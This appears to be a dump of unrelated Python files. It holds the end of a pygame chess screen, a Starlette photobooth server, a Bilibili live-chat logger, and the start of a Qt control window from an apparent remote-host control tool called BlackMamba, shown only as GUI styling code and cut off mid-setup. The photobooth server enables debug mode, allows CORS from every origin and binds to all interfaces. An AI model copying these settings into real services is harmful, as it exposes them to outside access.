FONT.render(f"{condition}", True, SMALL_TEXT_COLOR) if condition == "Insufficient Material": SCREEN.blit(txt, (int(BOARD_X + TILE_SIZE * 2.55), int(BOARD_Y + TILE_SIZE * 3.3))) else: SCREEN.blit(txt, (int(BOARD_X + TILE_SIZE * 3.2), int(BOARD_Y + TILE_SIZE * 3.3))) # Draw Rematch button pygame.draw.rect(SCREEN, BLACK, [bg.left, bg.bottom - 28, bg.centerx - bg.left + 3, 28], 1) txt = FONT.render("Rematch", True, SMALL_TEXT_COLOR) SCREEN.blit(txt, (bg.left + 8, bg.bottom - 28 + 2)) # Draw Leave button pygame.draw.rect(SCREEN, BLACK, [bg.centerx + 2, bg.bottom - 28, bg.centerx - bg.left - 2, 28], 1) txt = FONT.render("Leave", True, SMALL_TEXT_COLOR) SCREEN.blit(txt, (bg.centerx + 20, bg.bottom - 28 + 2)) if __name__ == "__main__": Game()
main.py
from starlette.applications import Starlette from starlette.responses import JSONResponse from starlette.routing import Route, Mount, WebSocketRoute from starlette.websockets import WebSocket from starlette.staticfiles import StaticFiles from starlette.middleware import Middleware from starlette.middleware.cors import CORSMiddleware import os import time import base64 import uvicorn import threading import contextlib from photobooth import PhotoBooth photo_storage = os.getenv("PHOTO_STORAGE_LOCATION", "/tmp/photos") photobooth = PhotoBooth(file_path=photo_storage) MAX_FPS = 100 async def data(request): return JSONResponse({ "startupTime": photobooth.startup_time, "currentCapture": photobooth.session_captured, "allCaptured": photobooth.all_captured, "allStrips": photobooth.all_strips }) async def snap(request): photobooth.snap() return JSONResponse({"snap": 1}) async def clear_current_capture(request): photobooth.clear_current() return JSONResponse({"clear": 1}) async def reprint_strip(request): jsonbody = await request.json() photobooth.print_strip_by_name(jsonbody['filename']) return JSONResponse({"print": jsonbody['filename']}) async def websocket_endpoint(websocket): await websocket.accept() # Process incoming messages PREV_IMAGE_ID = 0 while True: mesg = await websocket.receive_text() while True: time.sleep(1./MAX_FPS) image_id = photobooth.live_image_id if image_id != PREV_IMAGE_ID: break PREV_IMAGE_ID = image_id image = photobooth.live_image image = base64.b64encode(image) await websocket.send_text(str(image, 'utf-8')) await websocket.close() middleware = [ Middleware(CORSMiddleware, allow_origins=['*']) ] app = Starlette(debug=True, routes=[ # Route('/', homepage), WebSocketRoute('/ws', websocket_endpoint), Route('/snap', snap, methods=['POST']), Route('/data', data), Route('/clear', clear_current_capture, methods=['POST']), Route('/reprint', reprint_strip, methods=['POST']), Mount("/images", app=StaticFiles(directory=photo_storage), name="images"), Mount('/', app=StaticFiles(directory='.', html=True), name="index"), ], middleware=middleware) class Server(uvicorn.Server): def install_signal_handlers(self): pass @contextlib.contextmanager def run_in_thread(self): thread = threading.Thread(target=self.run) thread.start() try: while not self.started: time.sleep(1e-3) yield finally: self.should_exit = True thread.join() config = uvicorn.Config(app, host="0.0.0.0", port=8000, log_level="info") server = Server(config=config) if __name__ == '__main__': with server.run_in_thread(): photobooth.capture()
blivedm_lar_logger.py
import asyncio import os,time import signal,sys import xml.sax.saxutils as xmlutil from concurrent.futures import CancelledError import multiprocessing import blivedm.blivedm as blivedm import utils class BLiveLARlogger(blivedm.BLiveClient): def __init__(self, room_id, uid=0, heartbeat_interval=30, ssl=True, loop=None): super().__init__(room_id, uid=uid, heartbeat_interval=heartbeat_interval, ssl=ssl, loop=loop) self.room_id_log = room_id self.saving_file = None self.async_proc = None _COMMAND_HANDLERS = blivedm.BLiveClient._COMMAND_HANDLERS.copy() async def __on_vip_enter(self, command): print(command) _COMMAND_HANDLERS['WELCOME'] = __on_vip_enter # 老爷入场 async def _on_receive_popularity(self, popularity: int): curtime = time.time() self.saving_file.write(f'[{int(curtime*1000)}][POP]({curtime-self.init_time:.3f}){popularity}\n') self.saving_file.flush() async def _on_receive_danmaku(self, danmaku: blivedm.DanmakuMessage): curtime = danmaku.timestamp/1000 self.saving_file.write(f'[{danmaku.timestamp}][DANMAKU]({curtime-self.init_time:.3f},{danmaku.mode},{danmaku.font_size},{danmaku.color},{danmaku.msg_type})<{danmaku.uid},"{xmlutil.escape(danmaku.uname)}",{danmaku.user_level},{danmaku.ulevel_color},{xmlutil.escape(str(danmaku.ulevel_rank))},{danmaku.privilege_type},{danmaku.admin},{danmaku.vip},{danmaku.svip},{danmaku.urank},{danmaku.uname_color}><{xmlutil.escape(danmaku.medal_name)},{danmaku.medal_level},{danmaku.room_id},"{xmlutil.escape(danmaku.runame)}",{danmaku.mcolor},{danmaku.special_medal}>{xmlutil.escape(danmaku.msg)}\n') self.saving_file.flush() async def _on_receive_gift(self, gift: blivedm.GiftMessage): self.saving_file.write(f'[{gift.timestamp*1000}][GIFT]({gift.timestamp-self.init_time:.3f},{gift.gift_name},{gift.gift_id},{gift.gift_type},{gift.num},{gift.action},{gift.price})<{gift.uid},"{gift.uname}",{gift.guard_level}>{gift.coin_type},{gift.total_coin}\n') self.saving_file.flush() async def _on_buy_guard(self, message: blivedm.GuardBuyMessage): curtime = time.time() self.saving_file.write(f'[{int(curtime*1000)}][GUARD]({curtime-self.init_time:.3f},{message.gift_name},{message.gift_id},{message.num},{message.price})<{message.uid},"{xmlutil.escape(message.username)}",{message.guard_level}>{message.start_time},{message.end_time}\n') self.saving_file.flush() async def _on_super_chat(self, message: blivedm.SuperChatMessage): #danmaku type: 1 - normal, 4 - bottom, 5 - top, 6 - reverse, 7 - special(unknown), 8 - hidden curtime = message.start_time color = int(message.background_color[1:],16) pricecolor = int(message.background_price_color[1:],16) self.saving_file.write(f'[{curtime*1000}][SUPERCHAT]({curtime-self.init_time:.3f},{message.gift_name},{message.gift_id},{color},{pricecolor},{message.start_time},{message.end_time},{message.time},{message.price})<{message.uid},"{xmlutil.escape(message.uname)}",{message.user_level},{message.guard_level}>{xmlutil.escape(message.message)}\n') self.saving_file.flush() def run_cancellable(self): try: self.async_loop.run_until_complete(self.start()) except CancelledError: pass def run(self, saving_path='sample.lar'): self.saving_path = saving_path self.saving_file = open(self.saving_path,'a') self.init_time = time.time() self.async_loop = asyncio.get_event_loop() self.async_proc = multiprocessing.Process(target=self.run_cancellable) self.async_proc.start() def terminate(self): if self.is_running: future = self.stop() future.add_done_callback(lambda _future: asyncio.ensure_future(self.close())) else: asyncio.ensure_future(self.close()) #self.async_loop.stop() self.async_proc.terminate() self.async_proc.join() self.saving_file.close() utils.print_log(self.room_id_log, 'Live Activity Record saved at '+self.saving_path)
control.py
#################################################################################### # BLACKMAMBA BY: LOSEYS (https://github.com/loseys) # # QT GUI INTERFACE BY: WANDERSON M.PIMENTA (https://github.com/Wanderson-Magalhaes) # ORIGINAL QT GUI: https://github.com/Wanderson-Magalhaes/Simple_PySide_Base #################################################################################### # -*- coding: utf-8 -*- """ Control window of host. >1016 - Window GUI configutarion. 1016 - Starts painel functions. """ import re import sys import time import pathlib import datetime import files_rc import threading import pyautogui from random import randrange from clientui.ui_functions import * from PyQt5 import QtGui, QtCore, QtWidgets from PyQt5.QtCore import * from PyQt5.QtGui import * from PyQt5.QtWidgets import * from PyQt5.QtWidgets import * class Ui_MainWindow2(object): def setupUi(self, MainWindow, hselected=None): if not MainWindow.objectName(): MainWindow.setObjectName(u"MainWindow") MainWindow.resize(1025, 728) self.hselected = hselected MainWindow.setMinimumSize(QSize(1000, 720)) palette = QPalette() brush = QBrush(QColor(255, 255, 255, 255)) brush.setStyle(Qt.SolidPattern) palette.setBrush(QPalette.Active, QPalette.WindowText, brush) brush1 = QBrush(QColor(0, 0, 0, 0)) brush1.setStyle(Qt.SolidPattern) palette.setBrush(QPalette.Active, QPalette.Button, brush1) brush2 = QBrush(QColor(66, 73, 90, 255)) brush2.setStyle(Qt.SolidPattern) palette.setBrush(QPalette.Active, QPalette.Light, brush2) brush3 = QBrush(QColor(55, 61, 75, 255)) brush3.setStyle(Qt.SolidPattern) palette.setBrush(QPalette.Active, QPalette.Midlight, brush3) brush4 = QBrush(QColor(22, 24, 30, 255)) brush4.setStyle(Qt.SolidPattern) palette.setBrush(QPalette.Active, QPalette.Dark, brush4) brush5 = QBrush(QColor(29, 32, 40, 255)) brush5.setStyle(Qt.SolidPattern) palette.setBrush(QPalette.Active, QPalette.Mid, brush5) brush6 = QBrush(QColor(210, 210, 210, 255)) brush6.setStyle(Qt.SolidPattern) palette.setBrush(QPalette.Active, QPalette.Text, brush6) palette.setBrush(QPalette.Active, QPalette.BrightText, brush) palette.setBrush(QPalette.Active, QPalette.ButtonText, brush) palette.setBrush(QPalette.Active, QPalette.Base, brush1) palette.setBrush(QPalette.Active, QPalette.Window, brush1) brush7 = QBrush(QColor(0, 0, 0, 255)) brush7.setStyle(Qt.SolidPattern) palette.setBrush(QPalette.Active, QPalette.Shadow, brush7) brush8 = QBrush(QColor(85, 170, 255, 255)) brush8.setStyle(Qt.SolidPattern) palette.setBrush(QPalette.Active, QPalette.Highlight, brush8) palette.setBrush(QPalette.Active, QPalette.Link, brush8) brush9 = QBrush(QColor(255, 0, 127, 255)) brush9.setStyle(Qt.SolidPattern) palette.setBrush(QPalette.Active, QPalette.LinkVisited, brush9) palette.setBrush(QPalette.Active, QPalette.AlternateBase, brush4) brush10 = QBrush(QColor(44, 49, 60, 255)) brush10.setStyle(Qt.SolidPattern) palette.setBrush(QPalette.Active, QPalette.ToolTipBase, brush10) palette.setBrush(QPalette.Active, QPalette.ToolTipText, brush6) brush11 = QBrush(QColor(210, 210, 210, 128)) brush11.setStyle(Qt.NoBrush) # if QT_VERSION >= QT_VERSION_CHECK(5, 12, 0) palette.setBrush(QPalette.Active, QPalette.PlaceholderText, brush11) # endif palette.setBrush(QPalette.Inactive, QPalette.WindowText, brush) palette.setBrush(QPalette.Inactive, QPalette.Button, brush1) palette.setBrush(QPalette.Inactive, QPalette.Light, brush2) palette.setBrush(QPalette.Inactive, QPalette.Midlight, brush3) palette.setBrush(QPalette.Inactive, QPalette.Dark, brush4) palette.setBrush(QPalette.Inactive, QPalette.Mid, brush5) palette.setBrush(QPalette.Inactive, QPalette.Text, brush6) palette.setBrush(QPalette.Inactive, QPalette.BrightText, brush) palette.setBrush(QPalette.Inactive, QPalette.ButtonText, brush) palette.setBrush(QPalette.Inactive, QPalette.Base, brush1) palette.setBrush(QPalette.Inactive, QPalette.Window, brush1) palette.setBrush(QPalette.Inactive, QPalette.Shadow, brush7) palette.setBrush(QPalette.Inactive, QPalette.Highlight, brush8) palette.setBrush(QPalette.Inactive, QPalette.Link, brush8) palette.setBrush(QPalette.Inactive, QPalette.LinkVisited, brush9) palette.setBrush(QPalette.Inactive, QPalette.AlternateBase, brush4) palette.setBrush(QPalette.Inactive, QPalette.ToolTipBase, brush10) palette.setBrush(QPalette.Inactive, QPalette.ToolTipText, brush6) brush12 = QBrush(QColor(210, 210, 210, 128)) brush12.setStyle(Qt.NoBrush) # if QT_VERSION >= QT_VERSION_CHECK(5, 12, 0) palette.setBrush(QPalette.Inactive, QPalette.PlaceholderText, brush12) # endif palette.setBrush(QPalette.Disabled, QPalette.WindowText, brush4) palette.setBrush(QPalette.Disabled, QPalette.Button, brush1) palette.setBrush(QPalette.Disabled, QPalette.Light, brush2) palette.setBrush(QPalette.Disabled, QPalette.Midlight, brush3) palette.setBrush(QPalette.Disabled, QPalette.Dark, brush4) palette.setBrush(QPalette.Disabled, QPalette.Mid, brush5) palette.setBrush(QPalette.Disabled, QPalette.Text, brush4) palette.setBrush(QPalette.Disabled, QPalette.BrightText, brush) palette.setBrush(QPalette.Disabled, QPalette.ButtonText, brush4) palette.setBrush(QPalette.Disabled, QPalette.Base, brush1) palette.setBrush(QPalette.Disabled, QPalette.Window, brush1) palette.setBrush(QPalette.Disabled, QPalette.Shadow, brush7) brush13 = QBrush(QColor(51, 153, 255, 255)) brush13.setStyle(Qt.SolidPattern) palette.setBrush(QPalette.Disabled, QPalette.Highlight, brush13) palette.setBrush(QPalette.Disabled, QPalette.Link, brush8) palette.setBrush(QPalette.Disabled, QPalette.LinkVisited, brush9) palette.setBrush(QPalette.Disabled, QPalette.AlternateBase, brush10) palette.setBrush(QPalette.Disabled, QPalette.ToolTipBase, brush10) palette.setBrush(QPalette.Disabled, QPalette.ToolTipText, brush6) brush14 = QBrush(QColor(210, 210, 210, 128)) brush14.setStyle(Qt.NoBrush) # if QT_VERSION >= QT_VERSION_CHECK(5, 12, 0) palette.setBrush(QPalette.Disabled, QPalette.PlaceholderText, brush14) MainWindow.setPalette(palette) font = QFont() font.setFamily(u"Segoe UI") font.setPointSize(10) MainWindow.setFont(font) MainWindow.setStyleSheet(u"QMainWindow {background: transparent; }\n" "QToolTip {\n" " color: #ffffff;\n" " background-color: rgba(27, 29, 35, 160);\n" " border: 1px solid rgb(40, 40, 40);\n" " border-radius: 2px;\n" "}") self.centralwidget = QWidget(MainWindow) self.centralwidget.setObjectName(u"centralwidget") self.centralwidget.setStyleSheet(u"background: transparent;\n" "color: rgb(210, 210, 210);") self.horizontalLayout = QHBoxLayout(self.centralwidget) self.horizontalLayout.setSpacing(0) self.horizontalLayout.setObjectName(u"horizontalLayout") self.horizontalLayout.setContentsMargins(10, 10, 10, 10) self.frame_main = QFrame(self.centralwidget) self.frame_main.setObjectName(u"frame_main") self.frame_main.setStyleSheet(u"/* LINE EDIT */\n" "QLineEdit {\n" " background-color: rgb(27, 29, 35);\n" " border-radius: 5px;\n" " border: 2px solid rgb(27, 29, 35);\n" " padding-left: 10px;\n" "}\n" "QLineEdit:hover {\n" " border: 2px solid rgb(64, 71, 88);\n" "}\n" "QLineEdit:focus {\n" " border: 2px solid rgb(91, 101, 124);\n" "}\n" "\n" "/* SCROLL BARS */\n" "QScrollBar:horizontal {\n" " border: none;\n" " background: rgb(52, 59, 72);\n" " height: 14px;\n" " margin: 0px 21px 0 21px;\n" " border-radius: 0px;\n" "}\n" "QScrollBar::handle:horizontal {\n" " background: rgb(85, 170, 255);\n" " min-width: 25px;\n" " border-radius: 7px\n" "}\n" "QScrollBar::add-line:horizontal {\n" " border: none;\n" " background: rgb(55, 63, 77);\n" " width: 20px;\n" " border-top-right-radius: 7px;\n" " border-bottom-right-radius: 7px;\n" " subcontrol-position: right;\n" " subcontrol-origin: margin;\n" "}\n" "QScrollBar::sub-line:horizontal {\n" " border: none;\n" " background: rgb(55, 63, 77);\n" " width: 20px;\n" "" " border-top-left-radius: 7px;\n" " border-bottom-left-radius: 7px;\n" " subcontrol-position: left;\n" " subcontrol-origin: margin;\n" "}\n" "QScrollBar::up-arrow:horizontal, QScrollBar::down-arrow:horizontal\n" "{\n" " background: none;\n" "}\n" "QScrollBar::add-page:horizontal, QScrollBar::sub-page:horizontal\n" "{\n" " background: none;\n" "}\n" " QScrollBar:vertical {\n" " border: none;\n" " background: rgb(52, 59, 72);\n" " width: 14px;\n" " margin: 21px 0 21px 0;\n" " border-radius: 0px;\n" " }\n" " QScrollBar::handle:vertical { \n" " background: rgb(85, 170, 255);\n" " min-height: 25px;\n" " border-radius: 7px\n" " }\n" " QScrollBar::add-line:vertical {\n" " border: none;\n" " background: rgb(55, 63, 77);\n" " height: 20px;\n" " border-bottom-left-radius: 7px;\n" " border-bottom-right-radius: 7px;\n" " subcontrol-position: bottom;\n" " subcontrol-origin: margin;\n" " }\n" " QScrollBar::sub-line:vertical {\n" " border: none;\n" " background: rgb(55, 63" ", 77);\n" " height: 20px;\n" " border-top-left-radius: 7px;\n" " border-top-right-radius: 7px;\n" " subcontrol-position: top;\n" " subcontrol-origin: margin;\n" " }\n" " QScrollBar::up-arrow:vertical, QScrollBar::down-arrow:vertical {\n" " background: none;\n" " }\n" "\n" " QScrollBar::add-page:vertical, QScrollBar::sub-page:vertical {\n" " background: none;\n" " }\n" "\n" "/* CHECKBOX */\n" "QCheckBox::indicator {\n" " border: 3px solid rgb(52, 59, 72);\n" " width: 15px;\n" " height: 15px;\n" " border-radius: 10px;\n" " background: rgb(44, 49, 60);\n" "}\n" "QCheckBox::indicator:hover {\n" " border: 3px solid rgb(58, 66, 81);\n" "}\n" "QCheckBox::indicator:checked {\n" " background: 3px solid rgb(52, 59, 72);\n" " border: 3px solid rgb(52, 59, 72); \n" " background-image: url(:/16x16/icons/16x16/cil-check-alt.png);\n" "}\n" "\n" "/* RADIO BUTTON */\n" "QRadioButton::indicator {\n" " border: 3px solid rgb(52, 59, 72);\n" " width: 15px;\n" " height: 15px;\n" " border-radius" ": 10px;\n" " background: rgb(44, 49, 60);\n" "}\n" "QRadioButton::indicator:hover {\n" " border: 3px solid rgb(58, 66, 81);\n" "}\n" "QRadioButton::indicator:checked {\n" " background: 3px solid rgb(94, 106, 130);\n" " border: 3px solid rgb(52, 59, 72); \n" "}\n" "\n" "/* COMBOBOX */\n" "QComboBox{\n" " background-color: rgb(27, 29, 35);\n" " border-radius: 5px;\n" " border: 2px solid rgb(27, 29, 35);\n" " padding: 5px;\n" " padding-left: 10px;\n" "}\n" "QComboBox:hover{\n" " border: 2px solid rgb(64, 71, 88);\n" "}\n" "QComboBox::drop-down {\n" " subcontrol-origin: padding;\n" " subcontrol-position: top right;\n" " width: 25px; \n" " border-left-width: 3px;\n" " border-left-color: rgba(39, 44, 54, 150);\n" " border-left-style: solid;\n" " border-top-right-radius: 3px;\n" " border-bottom-right-radius: 3px; \n" " background-image: url(:/16x16/icons/16x16/cil-arrow-bottom.png);\n" " background-position: center;\n" " background-repeat: no-reperat;\n" " }\n" "QComboBox QAbstractItemView {\n" " color: rgb(" "85, 170, 255); \n" " background-color: rgb(27, 29, 35);\n" " padding: 10px;\n" " selection-background-color: rgb(39, 44, 54);\n" "}\n" "\n" "/* SLIDERS */\n" "QSlider::groove:horizontal {\n" " border-radius: 9px;\n" " height: 18px;\n" " margin: 0px;\n" " background-color: rgb(52, 59, 72);\n" "}\n" "QSlider::groove:horizontal:hover {\n" " background-color: rgb(55, 62, 76);\n" "}\n" "QSlider::handle:horizontal {\n" " background-color: rgb(85, 170, 255);\n" " border: none;\n" " height: 18px;\n" " width: 18px;\n" " margin: 0px;\n" " border-radius: 9px;\n" "}\n" "QSlider::handle:horizontal:hover {\n" " background-color: rgb(105, 180, 255);\n" "}\n" "QSlider::handle:horizontal:pressed {\n" " background-color: rgb(65, 130, 195);\n" "}\n" "\n" "QSlider::groove:vertical {\n" " border-radius: 9px;\n" " width: 18px;\n" " margin: 0px;\n" " background-color: rgb(52, 59, 72);\n" "}\n" "QSlider::groove:vertical:hover {\n" " background-color: rgb(55, 62, 76);\n" "}\n" "QSlider::handle:verti" "cal {\n" " background-color: rgb(85, 170, 255);\n" " border: none;\n" " height: 18px;\n" " width: 18px;\n" " margin: 0px;\n" " border-radius: 9px;\n" "}\n" "QSlider::handle:vertical:hover {\n" " background-color: rgb(105, 180, 255);\n" "}\n" "QSlider::handle:vertical:pressed {\n" " background-color: rgb(65, 130, 195);\n" "}\n" "\n" "") self.frame_main.setFrameShape(QFrame.NoFrame) self.frame_main.setFrameShadow(QFrame.Raised) self.verticalLayout = QVBoxLayout(self.frame_main) self.verticalLayout.setSpacing(0) self.verticalLayout.setObjectName(u"verticalLayout") self.verticalLayout.setContentsMargins(0, 0, 0, 0) self.frame_top = QFrame(self.frame_main) self.frame_top.setObjectName(u"frame_top") self.frame_top.setMinimumSize(QSize(0, 65)) self.frame_top.setMaximumSize(QSize(16777215, 65)) self.frame_top.setStyleSheet(u"background-color: transparent;") self.frame_top.setFrameShape(QFrame.NoFrame) self.frame_top.setFrameShadow(QFrame.Raised) self.horizontalLayout_3 = QHBoxLayout(self.frame_top) self.horizontalLayout_3.setSpacing(0) self.horizontalLayout_3.setObjectName(u"horizontalLayout_3") self.horizontalLayout_3.setContentsMargins(0, 0, 0, 0) self.frame_toggle = QFrame(self.frame_top) self.frame_toggle.setObjectName(u"frame_toggle") self.frame_toggle.setMaximumSize(QSize(70, 16777215)) self.frame_toggle.setStyleSheet(u"background-color: rgb(27, 29, 35);") self.frame_toggle.setFrameShape(QFrame.NoFrame) self.frame_toggle.setFrameShadow(QFrame.Raised) self.verticalLayout_3 = QVBoxLayout(self.frame_toggle) self.verticalLayout_3.setSpacing(0) self.verticalLayout_3.setObjectName(u"verticalLayout_3") self.verticalLayout_3.setContentsMargins(0, 0, 0, 0) self.horizontalLayout_3.addWidget(self.frame_toggle) self.frame_top_right = QFrame(self.frame_top) self.frame_top_right.setObjectName(u"frame_top_right") self.frame_top_right.setStyleSheet(u"background: transparent;") self.frame_top_right.setFrameShape(QFrame.NoFrame) self.frame_top_right.setFrameShadow(QFrame.Raised) self.verticalLayout_2 = QVBoxLayout(self.frame_top_right) self.verticalLayout_2.setSpacing(0) self.verticalLayout_2.setObjectName(u"verticalLayout_2") self.verticalLayout_2.setContentsMargins(0, 0, 0, 0) self.frame_top_btns = QFrame(self.frame_top_right) self.frame_top_btns.setObjectName(u"frame_top_btns") self.frame_top_btns.setMaximumSize(QSize(16777215, 42)) self.frame_top_btns.setStyleSheet(u"background-color: rgba(27, 29, 35, 200)") self.frame_top_btns.setFrameShape(QFrame.NoFrame) self.frame_top_btns.setFrameShadow(QFrame.Raised) self.horizontalLayout_4 = QHBoxLayout(self.frame_top_btns) self.horizontalLayout_4.setSpacing(0) self.horizontalLayout_4.setObjectName(u"horizontalLayout_4") self.horizontalLayout_4.setContentsMargins(0, 0, 0, 0) self.frame_label_top_btns = QFrame(self.frame_top_btns) self.frame_label_top_btns.setObjectName(u"frame_label_top_btns") sizePolicy = QSizePolicy(QSizePolicy.Expanding, QSizePolicy.Preferred) sizePolicy.setHorizontalStretch(0) sizePolicy.setVerticalStretch(0) sizePolicy.setHeightForWidth(self.frame_label_top_btns.sizePolicy().hasHeightForWidth()) self.frame_label_top_btns.setSizePolicy(sizePolicy) self.frame_label_top_btns.setFrameShape(QFrame.NoFrame) self.frame_label_top_btns.setFrameShadow(QFrame.Raised) self.horizontalLayout_10 = QHBoxLayout(self.frame_label_top_btns) self.horizontalLayout_10.setSpacing(0) self.horizontalLayout_10.setObjectName(u"horizontalLayout_10") self.horizontalLayout_10.setContentsMargins(5, 0, 10, 0) self.frame_icon_top_bar = QFrame(self.frame_label_top_btns) self.frame_icon_top_bar.setObjectName(u"frame_icon_top_bar") self.frame_icon_top_bar.setMaximumSize(QSize(30, 30)) self.frame_icon_top_bar.setStyleSheet(u"background: transparent;\n" "background-image: url(:/16x16/icons/16x16/cil-screen-desktop.png);\n" "background-position: center;\n" "background-repeat: no-repeat;\n" "") self.frame_icon_top_bar.setFrameShape(QFrame.StyledPanel) self.frame_icon_top_bar.setFrameShadow(QFrame.Raised) self.horizontalLayout_10.addWidget(self.frame_icon_top_bar) self.label_title_bar_top = QLabel(self.frame_label_top_btns) self.label_title_bar_top.setObjectName(u"label_title_bar_top") font1 = QFont() font1.setFamily(u"Segoe UI") font1.setPointSize(10) font1.setBold(True) font1.setWeight(75) self.label_title_bar_top.setFont(font1) self.label_title_bar_top.setStyleSheet(u"background: transparent;\n" "") self.horizontalLayout_10.addWidget(self.label_title_bar_top) self.horizontalLayout_4.addWidget(self.frame_label_top_btns) self.frame_btns_right = QFrame(self.frame_top_btns) self.frame_btns_right.setObjectName(u"frame_btns_right") sizePolicy.setHeightForWidth(self.frame_btns_right.sizePolicy().hasHeightForWidth()) self.frame_btns_right.setSizePolicy(sizePolicy) self.frame_btns_right.setMaximumSize(QSize(120, 16777215)) self.frame_btns_right.setFrameShape(QFrame.NoFrame) self.frame_btns_right.setFrameShadow(QFrame.Raised) self.horizontalLayout_5 = QHBoxLayout(self.frame_btns_right) self.horizontalLayout_5.setSpacing(0) self.horizontalLayout_5.setObjectName(u"horizontalLayout_5") self.horizontalLayout_5.setContentsMargins(0, 0, 0, 0) self.btn_minimize = QPushButton(self.frame_btns_right) self.btn_minimize.setObjectName(u"btn_minimize") sizePolicy1 = QSizePolicy(QSizePolicy.Minimum, QSizePolicy.Expanding) sizePolicy1.setHorizontalStretch(0) sizePolicy1.setVerticalStretch(0) sizePolicy1.setHeightForWidth(self.btn_minimize.sizePolicy().hasHeightForWidth()) self.btn_minimize.setSizePolicy(sizePolicy1) self.btn_minimize.setMinimumSize(QSize(40, 0)) self.btn_minimize.setMaximumSize(QSize(40, 16777215)) self.btn_minimize.setStyleSheet(u"QPushButton { \n" " border: none;\n" " background-color: transparent;\n" "}\n" "QPushButton:hover {\n" " background-color: rgb(52, 59, 72);\n" "}\n" "QPushButton:pressed { \n" " background-color: rgb(85, 170, 255);\n" "}") icon = QIcon() icon.addFile(u":/16x16/icons/16x16/cil-window-minimize.png", QSize(), QIcon.Normal, QIcon.Off) self.btn_minimize.setIcon(icon) self.horizontalLayout_5.addWidget(self.btn_minimize) self.btn_maximize_restore = QPushButton(self.frame_btns_right) self.btn_maximize_restore.setObjectName(u"btn_maximize_restore") sizePolicy1.setHeightForWidth(self.btn_maximize_restore.sizePolicy().hasHeightForWidth()) self.btn_maximize_restore.setSizePolicy(sizePolicy1) self.btn_maximize_restore.setMinimumSize(QSize(40, 0)) self.btn_maximize_restore.setMaximumSize(QSize(40, 16777215)) self.btn_maximize_restore.setStyleSheet(u"QPushButton { \n" " border: none;\n" " background-color: transparent;\n" "}\n" "QPushButton:hover {\n" " background-color: rgb(52, 59, 72);\n" "}\n" "QPushButton:pressed { \n" " background-color: rgb(85, 170, 255);\n" "}") icon1 = QIcon() icon1.addFile(u":/16x16/icons/16x16/cil-window-maximize.png", QSize(), QIcon.Normal, QIcon.Off) self.btn_maximize_restore.setIcon(icon1) self.horizontalLayout_5.addWidget(self.btn_maximize_restore) self.btn_close = QPushButton(self.frame_btns_right) self.btn_close.setObjectName(u"btn_close") sizePolicy1.setHeightForWidth(self.btn_close.sizePolicy().hasHeightForWidth()) self.btn_close.setSizePolicy(sizePolicy1) self.btn_close.setMinimumSize(QSize(40, 0)) self.btn_close.setMaximumSize(QSize(40, 16777215)) self.btn_close.setStyleSheet(u"QPushButton { \n" " border: none;\n" " background-color: transparent;\n" "}\n" "QPushButton:hover {\n" " background-color: rgb(52, 59, 72);\n" "}\n" "QPushButton:pressed { \n" " background-color: rgb(85, 170, 255);\n" "}") icon2 = QIcon() icon2.addFile(u":/16x16/icons/16x16/cil-x.png", QSize(), QIcon.Normal, QIcon.Off) self.btn_close.setIcon(icon2) self.horizontalLayout_5.addWidget(self.btn_close) self.horizontalLayout_4.addWidget(self.frame_btns_right, 0, Qt.AlignRight) self.verticalLayout_2.addWidget(self.frame_top_btns) self.frame_top_info = QFrame(self.frame_top_right) self.frame_top_info.setObjectName(u"frame_top_info") self.frame_top_info.setMaximumSize(QSize(16777215, 65)) self.frame_top_info.setStyleSheet(u"background-color: rgb(39, 44, 54);") self.frame_top_info.setFrameShape(QFrame.NoFrame) self.frame_top_info.setFrameShadow(QFrame.Raised) self.horizontalLayout_8 = QHBoxLayout(self.frame_top_info) self.horizontalLayout_8.setSpacing(0) self.horizontalLayout_8.setObjectName(u"horizontalLayout_8") self.horizontalLayout_8.setContentsMargins(10, 0, 10, 0) self.label_top_info_1 = QLabel(self.frame_top_info) self.label_top_info_1.setObjectName(u"label_top_info_1") self.label_top_info_1.setMaximumSize(QSize(16777215, 15)) font2 = QFont() font2.setFamily(u"Segoe UI") self.label_top_info_1.setFont(font2) self.label_top_info_1.setStyleSheet(u"color: rgb(98, 103, 111); ") self.horizontalLayout_8.addWidget(self.label_top_info_1) self.verticalLayout_2.addWidget(self.frame_top_info) self.horizontalLayout_3.addWidget(self.frame_top_right) self.verticalLayout.addWidget(self.frame_top) self.frame_center = QFrame(self.frame_main) self.frame_center.setObjectName(u"frame_center") sizePolicy2 = QSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding) sizePolicy2.setHorizontalStretch(0) sizePolicy2.setVerticalStretch(0) sizePolicy2.setHeightForWidth(self.frame_center.sizePolicy().hasHeightForWidth()) self.frame_center.setSizePolicy(sizePolicy2) self.frame_center.setStyleSheet(u"background-color: rgb(40, 44, 52);") self.frame_center.setFrameShape(QFrame.NoFrame) self.frame_center.setFrameShadow(QFrame.Raised) self.horizontalLayout_2 = QHBoxLayout(self.frame_center) self.horizontalLayout_2.setSpacing(0) self.horizontalLayout_2.setObjectName(u"horizontalLayout_2") self.horizontalLayout_2.setContentsMargins(0, 0, 0, 0) self.frame_content_right = QFrame(self.frame_center) self.frame_content_right.setObjectName(u"frame_content_right") self.frame_content_right.setStyleSheet(u"background-color: rgb(44, 49, 60);") self.frame_content_right.setFrameShape(QFrame.NoFrame) self.frame_content_right.setFrameShadow(QFrame.Raised) self.verticalLayout_4 = QVBoxLayout(self.frame_content_right) self.verticalLayout_4.setSpacing(0) self.verticalLayout_4.setObjectName(u"verticalLayout_4") self.verticalLayout_4.setContentsMargins(0, 0, 0, 0) self.frame_content = QFrame(self.frame_content_right) self.frame_content.setObjectName(u"frame_content") self.frame_content.setFrameShape(QFrame.NoFrame) self.frame_content.setFrameShadow(QFrame.Raised) self.verticalLayout_9 = QVBoxLayout(self.frame_content) self.verticalLayout_9.setSpacing(0) self.verticalLayout_9.setObjectName(u"verticalLayout_9") self.verticalLayout_9.setContentsMargins(5, 5, 5, 5) self.stackedWidget = QStackedWidget(self.frame_content) self.stackedWidget.setObjectName(u"stackedWidget") self.stackedWidget.setStyleSheet(u"background: transparent;") self.page_home = QWidget() self.page_home.setObjectName(u"page_home") self.verticalLayout_10 = QVBoxLayout(self.page_home) self.verticalLayout_10.setObjectName(u"verticalLayout_10") self.label_6 = QLabel(self.page_home) self.label_6.setObjectName(u"label_6") font3 = QFont() font3.setFamily(u"Segoe UI") font3.setPointSize(40) self.label_6.setFont(font3) self.label_6.setStyleSheet(u"") self.label_6.setAlignment(Qt.AlignCenter) self.verticalLayout_10.addWidget(self.label_6) self.label = QLabel(self.page_home) self.label.setObjectName(u"label") font4 = QFont() font4.setFamily(u"Segoe UI") 